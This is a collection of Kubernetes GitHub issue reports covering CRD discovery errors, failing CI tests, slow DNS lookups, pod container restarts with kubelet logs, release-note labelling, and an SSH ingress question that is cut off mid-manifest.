<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r \r  \r >  \r \r   what happened  :\r \r when i created a crd e.g.:\r \r    yam\r apiversion: apiextensions.k8s.io/v1beta1\r kind: customresourcedefinition\r metadata:\r     name must match the spec fields below, and be in the form: <plural>.<group>\r   name: crontabs.stable.example.com\r spec:\r     group name to use for rest api: /apis/<group>/<version>\r   group: stable.example.com\r     version name to use for rest api: /apis/<group>/<version>\r   version: v1\r     either namespaced or cluster\r   scope: namespaced\r   names:\r       plural name to be used in the url: /apis/<group>/<version>/<plural>\r     plural: crontabs\r       singular name to be used as an alias on the cli and for display\r     singular: crontab\r       kind is normally the camelcased singular type. your resource manifests use this.\r     kind: crontab\r       shortnames allow shorter string to match your resource on the cli\r     shortnames:\r     - ct\r     categories:\r     - testcat\r    \r then i used  kubectl get testcat . i found that the first time the result will be with an error:\r \r > error: the server doesn't have a resource type \ testcat\ \r \r and as for the second time it will be normal:\r \r > no resources found. \r \r and it can be stably reproduced every time i created a new crd.\r \r   what you expected to happen  :\r \r kubectl returns  no resources found.   the first time i requested the new crd instead of an error.\r \r \r \r   anything else we need to know?  :\r \r i also found that requesting short name e.g.  kubectl get ct  will be the same. it returns an error the first time but becomes normal the second time.😲\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r 

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  : gce-cos-master-reboot\r \r   which test s  are failing  :\r  sig-cluster-lifecycle  reboot  disruptive   feature:reboot  each node by ordering unclean reboot and ensure they function upon restart\r  sig-cluster-lifecycle  reboot  disruptive   feature:reboot  each node by switching off the network interface and ensure they function upon switch on\r  sig-cluster-lifecycle  reboot  disruptive   feature:reboot  each node by ordering clean reboot and ensure they function upon restart\r  sig-cluster-lifecycle  reboot  disruptive   feature:reboot  each node by dropping all inbound packets for a while and ensure they function afterwards\r  sig-cluster-lifecycle  reboot  disruptive   feature:reboot  each node by dropping all outbound packets for a while and ensure they function afterwards\r  sig-cluster-lifecycle  reboot  disruptive   feature:reboot  each node by triggering kernel panic and ensure they function upon restart\r \r   since when has it been failing  : nov 5\r \r   testgrid link  : https://k8s-testgrid.appspot.com/sig-release-master-blocking gce-cos-master-reboot\r \r   reason for failure  :\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/lifecycle/reboot.go:116\r nov  5 17:17:13.789: test failed; at least one node failed to reboot in the time given.\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/lifecycle/reboot.go:168\r \r   anything else we need to know  :\r this seems very similar to the issue reported and fixed in  69786\r \r <!-- do not edit below this line -->\r   / /cc @msau42\r

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  :\r https://k8s-testgrid.appspot.com/sig-release-master-blocking integration-master seems to be failing in master branch alone\r \r   which test s  are failing  :\r  k8s.io/kubernetes/test/integration/replicationcontroller.testadoption  https://gubernator.k8s.io/build/kubernetes-jenkins/logs/ci-kubernetes-integration-master/6740 \r \r   since when has it been failing  :\r since 11/18\r \r   testgrid link  :\r https://k8s-testgrid.appspot.com/sig-release-master-blocking integration-master \r \r   anything else we need to know  :\r the integration job on 1.13 branch seems to be fine. this is now failing in presubmits, blocking merges in \r \r https://github.com/kubernetes/kubernetes/pull/71187\r \r <!-- do not edit below this line -->\r   / /milestone v1.13\r \r /assign @cblecker @bentheelder \r \r

when running the guestbook app, gets and sets are very slow on my vagrant install.  tracing the dns requests made after submitting a message on the page:       vagrant@kubernetes-minion-2 ~ $ sudo tshark -i calib11bae44f5d -y dns running as user \ root\  and group \ root\ . this could be dangerous. capturing on 'calib11bae44f5d'   7   5.455407  10.246.2.22 -> 10.247.0.10  dns 97 standard query 0x18dc  aaaa redis-master.default.kubernetes.local   8   5.460824  10.247.0.10 -> 10.246.2.22  dns 158 standard query response 0x18dc    9   5.461065  10.246.2.22 -> 10.247.0.10  dns 89 standard query 0xd832  aaaa redis-master.kubernetes.local  10   5.464235  10.247.0.10 -> 10.246.2.22  dns 150 standard query response 0xd832 no such name  11   5.464549  10.246.2.22 -> 10.247.0.10  dns 85 standard query 0x4ca1  aaaa redis-master.datcon.co.uk  15  10.469974  10.246.2.22 -> 10.0.2.3     dns 85 standard query 0x4ca1  aaaa redis-master.datcon.co.uk  16  13.472342  10.247.0.10 -> 10.246.2.22  dns 85 standard query response 0x4ca1 server failure  17  15.476061  10.246.2.22 -> 10.247.0.10  dns 85 standard query 0x4ca1  aaaa redis-master.datcon.co.uk  18  15.476553  10.246.2.22 -> 10.0.2.3     dns 85 standard query 0x4ca1  aaaa redis-master.datcon.co.uk  20  20.487272  10.246.2.22 -> 10.247.0.10  dns 72 standard query 0xd2c1  aaaa redis-master  21  20.490858  10.247.0.10 -> 10.246.2.22  dns 72 standard query response 0xd2c1 server failure  22  20.491360  10.246.2.22 -> 10.0.2.3     dns 72 standard query 0xd2c1  aaaa redis-master  23  23.483975  10.247.0.10 -> 10.246.2.22  dns 85 standard query response 0x4ca1 server failure  24  23.484341  10.246.2.22 -> 10.247.0.10  icmp 113 destination unreachable  port unreachable   25  25.496414  10.246.2.22 -> 10.247.0.10  dns 72 standard query 0xd2c1  aaaa redis-master  26  25.500480  10.247.0.10 -> 10.246.2.22  dns 72 standard query response 0xd2c1 server failure  27  25.500663  10.246.2.22 -> 10.0.2.3     dns 72 standard query 0xd2c1  aaaa redis-master  29  30.506072  10.246.2.22 -> 10.247.0.10  dns 97 standard query 0x6018  a redis-master.default.kubernetes.local  30  30.510178  10.247.0.10 -> 10.246.2.22  dns 113 standard query response 0x6018  a 10.247.33.188      looks like predis is recursing through the whole list of dns-search and dns servers with aaaa lookups, before falling back to an a lookup.  minor issue, but it does give the impression that the demo isn't working...  i couldn't spot any documentation in predis to force it to do an a-lookup only, but maybe someone more experienced with the library knows better.  for completeness, here's the resolv.conf from the frontend container:      root@frontend-cqrnc:/  cat /etc/resolv.conf  nameserver 10.247.0.10 nameserver 10.0.2.3 search default.kubernetes.local kubernetes.local datcon.co.uk

the various filesystem plugins currently work by mounting a filesystem on the host then passing that mounted dir to the pod for access.  this requires that the host system has the filesystems client & utils installed and configured.  i would like to containerize the filesystem client pieces and run it as a sidecar to the pod requesting the volume.  this is currently impossible as a pods mount isn't in the hosts proper namespace.  so a filesystem mounted within a pod isn't visible to other pods on the host.

hello!  i created a  pod  with 3  containers    nginx ,  redis ,  golang   inside and  restart policy  ==  never .  nginx  has command  bash -c \ exit 1\  , another containers looks good. when i started a  pod  i saw, that  nginx  and  golang  re-creates every 2 minutes.   kubectl  says, where are no restarts, here is output:      json {     \ kind\ : \ pod\ ,     \ apiversion\ : \ v1\ ,     \ metadata\ : {         \ name\ : \ testpod\ ,         \ namespace\ : \ default\ ,         \ selflink\ : \ /api/v1/namespaces/default/pods/testpod\ ,         \ uid\ : \ cf9cd39f-c4bd-11e5-b18a-001c42aeb4eb\ ,         \ resourceversion\ : \ 205520\ ,         \ creationtimestamp\ : \ 2016-01-27t06:18:41z\      },     \ spec\ : {         \ volumes\ :               {                 \ name\ : \ data423674104710\ ,                 \ hostpath\ : {                     \ path\ : \ /var/lib/kuberdock/storage/e7a657b4-e91f-4e5a-bc36-2c4975f5a081/data423674104710\                  }             }          ,         \ containers\ :               {                 \ name\ : \ nginx\ ,                 \ image\ : \ nginx\ ,                 \ args\ :                       \ bash\ ,                     \ -c\ ,                     \ exit 1\                   ,                 \ ports\ :                       {                         \ containerport\ : 443,                         \ protocol\ : \ tcp\                      },                     {                         \ containerport\ : 80,                         \ protocol\ : \ tcp\                      }                  ,                 \ env\ :                       {                         \ name\ : \ path\ ,                         \ value\ : \ /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\                      },                     {                         \ name\ : \ nginx_version\ ,                         \ value\ : \ 1.9.11-1~jessie\                      }                  ,                 \ resources\ : {                     \ limits\ : {                         \ cpu\ : \ 60m\ ,                         \ memory\ : \ 67108864\                      },                     \ requests\ : {                         \ cpu\ : \ 60m\ ,                         \ memory\ : \ 67108864\                      }                 },                 \ terminationmessagepath\ : \ /dev/termination-log\ ,                 \ imagepullpolicy\ : \ always\              },             {                 \ name\ : \ redis\ ,                 \ image\ : \ redis\ ,                 \ command\ :                       \ /entrypoint.sh\                   ,                 \ args\ :                       \ redis-server\                   ,                 \ workingdir\ : \ /data\ ,                 \ ports\ :                       {                         \ containerport\ : 6379,                         \ protocol\ : \ tcp\                      }                  ,                 \ env\ :                       {                         \ name\ : \ path\ ,                         \ value\ : \ /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\                      },                     {                         \ name\ : \ redis_version\ ,                         \ value\ : \ 3.0.7\                      },                     {                         \ name\ : \ redis_download_url\ ,                         \ value\ : \ http://download.redis.io/releases/redis-3.0.7.tar.gz\                      },                     {                         \ name\ : \ redis_download_sha1\ ,                         \ value\ : \ e56b4b7e033ae8dbf311f9191cf6fdf3ae974d1c\                      }                  ,                 \ resources\ : {                     \ limits\ : {                         \ cpu\ : \ 60m\ ,                         \ memory\ : \ 67108864\                      },                     \ requests\ : {                         \ cpu\ : \ 60m\ ,                         \ memory\ : \ 67108864\                      }                 },                 \ volumemounts\ :                       {                         \ name\ : \ data423674104710\ ,                         \ mountpath\ : \ /data\                      }                  ,                 \ terminationmessagepath\ : \ /dev/termination-log\ ,                 \ imagepullpolicy\ : \ always\              },             {                 \ name\ : \ golang\ ,                 \ image\ : \ golang\ ,                 \ args\ :                       \ /bin/bash\                   ,                 \ workingdir\ : \ /go\ ,                 \ env\ :                       {                         \ name\ : \ path\ ,                         \ value\ : \ /go/bin:/usr/local/go/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\                      },                     {                         \ name\ : \ golang_version\ ,                         \ value\ : \ 1.5.3\                      },                     {                         \ name\ : \ golang_download_url\ ,                         \ value\ : \ https://golang.org/dl/go1.5.3.linux-amd64.tar.gz\                      },                     {                         \ name\ : \ golang_download_sha256\ ,                         \ value\ : \ 43afe0c5017e502630b1aea4d44b8a7f059bf60d7f29dfd58db454d4e4e0ae53\                      },                     {                         \ name\ : \ gopath\ ,                         \ value\ : \ /go\                      }                  ,                 \ resources\ : {                     \ limits\ : {                         \ cpu\ : \ 60m\ ,                         \ memory\ : \ 67108864\                      },                     \ requests\ : {                         \ cpu\ : \ 60m\ ,                         \ memory\ : \ 67108864\                      }                 },                 \ terminationmessagepath\ : \ /dev/termination-log\ ,                 \ imagepullpolicy\ : \ always\              }          ,         \ restartpolicy\ : \ never\ ,         \ terminationgraceperiodseconds\ : 30,         \ dnspolicy\ : \ clusterfirst\ ,         \ nodename\ : \ 194-44-0-163.static.dn.cloudlinux.com\      },     \ status\ : {         \ phase\ : \ running\ ,         \ conditions\ :               {                 \ type\ : \ ready\ ,                 \ status\ : \ false\ ,                 \ lastprobetime\ : null,                 \ lasttransitiontime\ : null             }          ,         \ hostip\ : \ 194.44.0.163\ ,         \ podip\ : \ 10.254.81.9\ ,         \ starttime\ : \ 2016-01-27t06:18:18z\ ,         \ containerstatuses\ :               {                 \ name\ : \ golang\ ,                 \ state\ : {                     \ terminated\ : {                         \ exitcode\ : 0,                         \ reason\ : \ error\ ,                         \ startedat\ : \ 2016-01-27t06:21:55z\ ,                         \ finishedat\ : \ 2016-01-27t06:21:55z\ ,                         \ containerid\ : \ docker://5315773da7503b7b8a540d963f8e13d6a339f4d1e2f44ea02e727834cb0f90d4\                      }                 },                 \ laststate\ : {},                 \ ready\ : false,                 \ restartcount\ : 0,                 \ image\ : \ golang\ ,                 \ imageid\ : \ docker://55b29e5089ce942c69af93ba1a44f34d92b0e8ad8ed3a8b4c2cd6f45dd73d852\ ,                 \ containerid\ : \ docker://5315773da7503b7b8a540d963f8e13d6a339f4d1e2f44ea02e727834cb0f90d4\              },             {                 \ name\ : \ nginx\ ,                 \ state\ : {                     \ terminated\ : {                         \ exitcode\ : 1,                         \ reason\ : \ error\ ,                         \ startedat\ : \ 2016-01-27t06:22:55z\ ,                         \ finishedat\ : \ 2016-01-27t06:22:55z\ ,                         \ containerid\ : \ docker://fb43150d1d00b3f9761a4b5d029ce2018e2f37f31f1e5f21ad0e8d9c81cb0b24\                      }                 },                 \ laststate\ : {},                 \ ready\ : false,                 \ restartcount\ : 0,                 \ image\ : \ nginx\ ,                 \ imageid\ : \ docker://6e36f46089ed3c0326d2f56d6282af5eab6000caaa04e44f327c37f13d13c933\ ,                 \ containerid\ : \ docker://fb43150d1d00b3f9761a4b5d029ce2018e2f37f31f1e5f21ad0e8d9c81cb0b24\              },             {                 \ name\ : \ redis\ ,                 \ state\ : {                     \ running\ : {                         \ startedat\ : \ 2016-01-27t06:18:26z\                      }                 },                 \ laststate\ : {},                 \ ready\ : true,                 \ restartcount\ : 0,                 \ image\ : \ redis\ ,                 \ imageid\ : \ docker://a99b701e483934b05c3bc74bd651626104bd2cd9cf02e192ab10a6dfccc824ff\ ,                 \ containerid\ : \ docker://60751ff03e9e7a4acd9b4dc1c52c78104981883184d88c1e80a84808d25ad474\              }               } }       docker  says, that containers  nginx  and  golang  continually creates, exit and re-creates.  from  kubelet  logs:      i0127 01:18:33.605215   28234 manager.go:1687  syncing pod &{typemeta:{kind: apiversion:} objectmeta:{name:testpod generatename: namespace:default selflink:/api/v1/namespaces/default/pods/testpod uid:cf9cd39f-c4bd-11e5-b18a-001c42aeb4eb resourceversion:205367 generation:0 creationtimestamp:2016-01-27 01:18:41 -0500 est deletiontimestamp:<nil> deletiongraceperiodseconds:<nil> labels:map   annotations:map kubernetes.io/config.seen:2016-01-27t01:18:18.357813496-05:00 kubernetes.io/config.source:api } spec:{volumes: {name:data423674104710 volumesource:{hostpath:0xc20a63a6a0 emptydir:<nil> gcepersistentdisk:<nil> awselasticblockstore:<nil> gitrepo:<nil> secret:<nil> nfs:<nil> iscsi:<nil> glusterfs:<nil> persistentvolumeclaim:<nil> rbd:<nil> cinder:<nil> cephfs:<nil> flocker:<nil> downwardapi:<nil> fc:<nil>}}  containers: {name:nginx image:nginx command:   args: bash -c exit 1  workingdir: ports: {name: hostport:0 containerport:443 protocol:tcp hostip:} {name: hostport:0 containerport:80 protocol:tcp hostip:}  env: {name:path value:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin valuefrom:<nil>} {name:nginx_version value:1.9.11-1~jessie valuefrom:<nil>}  resources:{limits:map cpu:{amount:0.060 format:decimalsi} memory:{amount:67108864.000 format:decimalsi}  requests:map cpu:{amount:0.060 format:decimalsi} memory:{amount:67108864.000 format:decimalsi} } volumemounts:   livenessprobe:<nil> readinessprobe:<nil> lifecycle:<nil> terminationmessagepath:/dev/termination-log imagepullpolicy:always securitycontext:<nil> stdin:false stdinonce:false tty:false} {name:redis image:redis command: /entrypoint.sh  args: redis-server  workingdir:/data ports: {name: hostport:0 containerport:6379 protocol:tcp hostip:}  env: {name:path value:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin valuefrom:<nil>} {name:redis_version value:3.0.7 valuefrom:<nil>} {name:redis_download_url value:http://download.redis.io/releases/redis-3.0.7.tar.gz valuefrom:<nil>} {name:redis_download_sha1 value:e56b4b7e033ae8dbf311f9191cf6fdf3ae974d1c valuefrom:<nil>}  resources:{limits:map memory:{amount:67108864.000 format:decimalsi} cpu:{amount:0.060 format:decimalsi}  requests:map cpu:{amount:0.060 format:decimalsi} memory:{amount:67108864.000 format:decimalsi} } volumemounts: {name:data423674104710 readonly:false mountpath:/data}  livenessprobe:<nil> readinessprobe:<nil> lifecycle:<nil> terminationmessagepath:/dev/termination-log imagepullpolicy:always securitycontext:<nil> stdin:false stdinonce:false tty:false} {name:golang image:golang command:   args: /bin/bash  workingdir:/go ports:   env: {name:path value:/go/bin:/usr/local/go/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin valuefrom:<nil>} {name:golang_version value:1.5.3 valuefrom:<nil>} {name:golang_download_url value:https://golang.org/dl/go1.5.3.linux-amd64.tar.gz valuefrom:<nil>} {name:golang_download_sha256 value:43afe0c5017e502630b1aea4d44b8a7f059bf60d7f29dfd58db454d4e4e0ae53 valuefrom:<nil>} {name:gopath value:/go valuefrom:<nil>}  resources:{limits:map cpu:{amount:0.060 format:decimalsi} memory:{amount:67108864.000 format:decimalsi}  requests:map cpu:{amount:0.060 format:decimalsi} memory:{amount:67108864.000 format:decimalsi} } volumemounts:   livenessprobe:<nil> readinessprobe:<nil> lifecycle:<nil> terminationmessagepath:/dev/termination-log imagepullpolicy:always securitycontext:<nil> stdin:false stdinonce:false tty:false}  restartpolicy:never terminationgraceperiodseconds:0xc20a63a698 activedeadlineseconds:<nil> dnspolicy:clusterfirst nodeselector:map   serviceaccountname: nodename:194-44-0-163.static.dn.cloudlinux.com hostnetwork:false hostpid:false hostipc:false imagepullsecrets:  } status:{phase:running conditions: {type:ready status:false lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:0001-01-01 00:00:00 +0000 utc reason: message:}  message: reason: hostip:194.44.0.163 podip:10.254.81.9 starttime:2016-01-27 01:18:18.359926625 -0500 est containerstatuses: {name:golang state:{waiting:<nil> running:0xc20cd70da0 terminated:<nil>} lastterminationstate:{waiting:<nil> running:<nil> terminated:<nil>} ready:true restartcount:0 image:golang imageid:docker://55b29e5089ce942c69af93ba1a44f34d92b0e8ad8ed3a8b4c2cd6f45dd73d852 containerid:docker://ce66d781c575249fc63b3b5cf56afd38476582d231e9273a1a145641cdcc3883} {name:nginx state:{waiting:<nil> running:<nil> terminated:0xc209a10310} lastterminationstate:{waiting:<nil> running:<nil> terminated:<nil>} ready:false restartcount:0 image:nginx imageid:docker://6e36f46089ed3c0326d2f56d6282af5eab6000caaa04e44f327c37f13d13c933 containerid:docker://936b90c4bc708355914ea8bac5bb6a7fa7a4cf6679ea796c60d7feb0d5da69ea} {name:redis state:{waiting:<nil> running:0xc20a6ee260 terminated:<nil>} lastterminationstate:{waiting:<nil> running:<nil> terminated:<nil>} ready:true restartcount:0 image:redis imageid:docker://a99b701e483934b05c3bc74bd651626104bd2cd9cf02e192ab10a6dfccc824ff containerid:docker://60751ff03e9e7a4acd9b4dc1c52c78104981883184d88c1e80a84808d25ad474} }}, podfullname: \ testpod_default\ , uid: \ cf9cd39f-c4bd-11e5-b18a-001c42aeb4eb\  i0127 01:18:33.605426   28234 manager.go:1698  found pod infra container for \ testpod_default\  i0127 01:18:33.606545   28234 manager.go:1711  pod infra container looks good, keep it \ testpod_default\  i0127 01:18:33.606603   28234 helpers.go:73  already ran container \ nginx\  of pod \ testpod_default\ , do nothing i0127 01:18:33.606660   28234 manager.go:1734  pod \ testpod_default\  container \ redis\  exists as 60751ff03e9e7a4acd9b4dc1c52c78104981883184d88c1e80a84808d25ad474 i0127 01:18:33.606670   28234 prober.go:180  readiness probe for \ testpod_default:redis\  succeeded i0127 01:18:33.606677   28234 manager.go:1765  probe success: \ redis\  i0127 01:18:33.606759   28234 helpers.go:73  already ran container \ golang\  of pod \ testpod_default\ , do nothing i0127 01:18:33.606767   28234 manager.go:1817  got container changes for pod \ testpod_default\ : {startinfracontainer:false infracontainerid:03dc8936a4acb8b3a98d13df59af951fef6d82e6246382bef5c1a21111f67f82 containerstostart:map   containerstokeep:map 03dc8936a4acb8b3a98d13df59af951fef6d82e6246382bef5c1a21111f67f82:-1 60751ff03e9e7a4acd9b4dc1c52c78104981883184d88c1e80a84808d25ad474:1 } i0127 01:18:33.606804   28234 kubelet.go:2738  generating status for \ testpod_default\  i0127 01:18:33.707387   28234 manager.go:223  status for pod \ testpod_default\  updated successfully i0127 01:18:33.707614   28234 config.go:254  setting pods for source api i0127 01:18:43.231721   28234 kubelet.go:2026  syncloop  periodic sync  i0127 01:18:43.231797   28234 kubelet.go:1993  syncloop  housekeeping  i0127 01:18:43.265121   28234 manager.go:1687  syncing pod &{typemeta:{kind: apiversion:} objectmeta:{name:testpod generatename: namespace:default selflink:/api/v1/namespaces/default/pods/testpod uid:cf9cd39f-c4bd-11e5-b18a-001c42aeb4eb resourceversion:205367 generation:0 creationtimestamp:2016-01-27 01:18:41 -0500 est deletiontimestamp:<nil> deletiongraceperiodseconds:<nil> labels:map   annotations:map kubernetes.io/config.source:api kubernetes.io/config.seen:2016-01-27t01:18:18.357813496-05:00 } spec:{volumes: {name:data423674104710 volumesource:{hostpath:0xc20a63a6a0 emptydir:<nil> gcepersistentdisk:<nil> awselasticblockstore:<nil> gitrepo:<nil> secret:<nil> nfs:<nil> iscsi:<nil> glusterfs:<nil> persistentvolumeclaim:<nil> rbd:<nil> cinder:<nil> cephfs:<nil> flocker:<nil> downwardapi:<nil> fc:<nil>}}  containers: {name:nginx image:nginx command:   args: bash -c exit 1  workingdir: ports: {name: hostport:0 containerport:443 protocol:tcp hostip:} {name: hostport:0 containerport:80 protocol:tcp hostip:}  env: {name:path value:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin valuefrom:<nil>} {name:nginx_version value:1.9.11-1~jessie valuefrom:<nil>}  resources:{limits:map cpu:{amount:0.060 format:decimalsi} memory:{amount:67108864.000 format:decimalsi}  requests:map cpu:{amount:0.060 format:decimalsi} memory:{amount:67108864.000 format:decimalsi} } volumemounts:   livenessprobe:<nil> readinessprobe:<nil> lifecycle:<nil> terminationmessagepath:/dev/termination-log imagepullpolicy:always securitycontext:<nil> stdin:false stdinonce:false tty:false} {name:redis image:redis command: /entrypoint.sh  args: redis-server  workingdir:/data ports: {name: hostport:0 containerport:6379 protocol:tcp hostip:}  env: {name:path value:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin valuefrom:<nil>} {name:redis_version value:3.0.7 valuefrom:<nil>} {name:redis_download_url value:http://download.redis.io/releases/redis-3.0.7.tar.gz valuefrom:<nil>} {name:redis_download_sha1 value:e56b4b7e033ae8dbf311f9191cf6fdf3ae974d1c valuefrom:<nil>}  resources:{limits:map memory:{amount:67108864.000 format:decimalsi} cpu:{amount:0.060 format:decimalsi}  requests:map cpu:{amount:0.060 format:decimalsi} memory:{amount:67108864.000 format:decimalsi} } volumemounts: {name:data423674104710 readonly:false mountpath:/data}  livenessprobe:<nil> readinessprobe:<nil> lifecycle:<nil> terminationmessagepath:/dev/termination-log imagepullpolicy:always securitycontext:<nil> stdin:false stdinonce:false tty:false} {name:golang image:golang command:   args: /bin/bash  workingdir:/go ports:   env: {name:path value:/go/bin:/usr/local/go/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin valuefrom:<nil>} {name:golang_version value:1.5.3 valuefrom:<nil>} {name:golang_download_url value:https://golang.org/dl/go1.5.3.linux-amd64.tar.gz valuefrom:<nil>} {name:golang_download_sha256 value:43afe0c5017e502630b1aea4d44b8a7f059bf60d7f29dfd58db454d4e4e0ae53 valuefrom:<nil>} {name:gopath value:/go valuefrom:<nil>}  resources:{limits:map cpu:{amount:0.060 format:decimalsi} memory:{amount:67108864.000 format:decimalsi}  requests:map memory:{amount:67108864.000 format:decimalsi} cpu:{amount:0.060 format:decimalsi} } volumemounts:   livenessprobe:<nil> readinessprobe:<nil> lifecycle:<nil> terminationmessagepath:/dev/termination-log imagepullpolicy:always securitycontext:<nil> stdin:false stdinonce:false tty:false}  restartpolicy:never terminationgraceperiodseconds:0xc20a63a698 activedeadlineseconds:<nil> dnspolicy:clusterfirst nodeselector:map   serviceaccountname: nodename:194-44-0-163.static.dn.cloudlinux.com hostnetwork:false hostpid:false hostipc:false imagepullsecrets:  } status:{phase:running conditions: {type:ready status:false lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:0001-01-01 00:00:00 +0000 utc reason: message:}  message: reason: hostip:194.44.0.163 podip:10.254.81.9 starttime:2016-01-27 01:18:18.359926625 -0500 est containerstatuses: {name:golang state:{waiting:<nil> running:<nil> terminated:0xc20b8db3b0} lastterminationstate:{waiting:<nil> running:<nil> terminated:<nil>} ready:false restartcount:0 image:golang imageid:docker://55b29e5089ce942c69af93ba1a44f34d92b0e8ad8ed3a8b4c2cd6f45dd73d852 containerid:docker://ce66d781c575249fc63b3b5cf56afd38476582d231e9273a1a145641cdcc3883} {name:nginx state:{waiting:<nil> running:<nil> terminated:0xc20a81c070} lastterminationstate:{waiting:<nil> running:<nil> terminated:<nil>} ready:false restartcount:0 image:nginx imageid:docker://6e36f46089ed3c0326d2f56d6282af5eab6000caaa04e44f327c37f13d13c933 containerid:docker://936b90c4bc708355914ea8bac5bb6a7fa7a4cf6679ea796c60d7feb0d5da69ea} {name:redis state:{waiting:<nil> running:0xc20b5d48a0 terminated:<nil>} lastterminationstate:{waiting:<nil> running:<nil> terminated:<nil>} ready:true restartcount:0 image:redis imageid:docker://a99b701e483934b05c3bc74bd651626104bd2cd9cf02e192ab10a6dfccc824ff containerid:docker://60751ff03e9e7a4acd9b4dc1c52c78104981883184d88c1e80a84808d25ad474} }}, podfullname: \ testpod_default\ , uid: \ cf9cd39f-c4bd-11e5-b18a-001c42aeb4eb\  i0127 01:18:43.265361   28234 manager.go:1698  found pod infra container for \ testpod_default\  i0127 01:18:43.267756   28234 manager.go:1711  pod infra container looks good, keep it \ testpod_default\  i0127 01:18:43.267847   28234 helpers.go:73  already ran container \ nginx\  of pod \ testpod_default\ , do nothing i0127 01:18:43.267929   28234 manager.go:1734  pod \ testpod_default\  container \ redis\  exists as 60751ff03e9e7a4acd9b4dc1c52c78104981883184d88c1e80a84808d25ad474 i0127 01:18:43.267944   28234 prober.go:180  readiness probe for \ testpod_default:redis\  succeeded i0127 01:18:43.267959   28234 manager.go:1765  probe success: \ redis\  i0127 01:18:43.268005   28234 helpers.go:73  already ran container \ golang\  of pod \ testpod_default\ , do nothing i0127 01:18:43.268016   28234 manager.go:1817  got container changes for pod \ testpod_default\ : {startinfracontainer:false infracontainerid:03dc8936a4acb8b3a98d13df59af951fef6d82e6246382bef5c1a21111f67f82 containerstostart:map   containerstokeep:map 03dc8936a4acb8b3a98d13df59af951fef6d82e6246382bef5c1a21111f67f82:-1 60751ff03e9e7a4acd9b4dc1c52c78104981883184d88c1e80a84808d25ad474:1 } i0127 01:18:43.268040   28234 kubelet.go:2738  generating status for \ testpod_default\       i'm using  kubernetes v1.1.3

follow up https://github.com/kubernetes/kubernetes/pull/21445 issuecomment-185497560: remove the codec from groupmeta struct to prevent future misuse: https://github.com/kubernetes/kubernetes/blame/master/pkg/apimachinery/types.go l37  @kubernetes/sig-api-machinery

we need to fill in the \ action required\  section of our release notes  in kubernetes/changelog.md .  rather than everyone sending a pr against changelog.md,  and having lots of merge conflicts, let's take advantage of the automatic release note generation that @david-mcmahon has written  thanks! it is a big improvement over 1.2 .  for that to work, i need is for everyone who wrote a pr that requires action from the user to make sure that pr has the  release-note-action-required  label is on their pr.  it doesn't matter that it already merged.  we will regenerate with the latest labels. i also need anyone who wrote a pr that _has_ that label to make sure that it is really required, and remove it if it is not.  if it is requred, please make sure it has a \ release-note\  block in the first comment of the pr which describes that the user needs to do.  a good example of this is https://github.com/kubernetes/kubernetes/pull/28132  most of the prs with the release-note-action-required label do _not_ have this.  once that is done, we will regenerate the release notes  also need to fix https://github.com/kubernetes/release/issues/26   specific prs with this label which are in 1.3, at the time of writing: - ~~ 28132~~ - ~~ 28258~~ - ~~ 28186~~ - ~~ 27869~~ -  26796 - ~~ 26819~~ - ~~ 26251~~ - ~~ 26415~~ - ~~ 26341~~ - ~~ 25599~~ - ~~ 26238~~ - ~~ 14943~~ - ~~ 19242~~  - ~~ 24509~~  - ~~ 25007~~ - ~~ 25196~~ - ~~ 25006~~ - ~~ 25072~~ - ~~ 24455~~ -  22897 - ~~ 24008~~

follow up from https://github.com/kubernetes/kubernetes/pull/35782 discussion_r99113534\r \r we should consider testing:\r - ~~job v1 and v2alpha2~~\r - hpa v1 and v2alpha2

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r ---\r \r   is this a bug report or feature request?    choose one :\r bug\r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r i have tried to create ingress for a ssh server at 22 , but i can't\r \r apiversion: extensions/v1beta1\r kind: ingress\r metadata:\r   name: test-sshd-ingress\r spec:\r   backend:\r     servicename: sshd-svc\r     serviceport: 22\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r \r 1.5.3\r   environment  :\r aws\r -   cloud provider or hardware configuration  : aws\r -   os    e.g. from /etc/os-release : debian\r -   kernel    e.g.  uname -a  : 4.4\r -   install tools  : kops\r -   others  :\r \r i have tried to create ingress for a ssh server at 22 , but i can't\r \r apiversion: extensions/v1beta1\r kind: ingress\r metadata:\r   name: test-sshd-ingress\r spec:\r   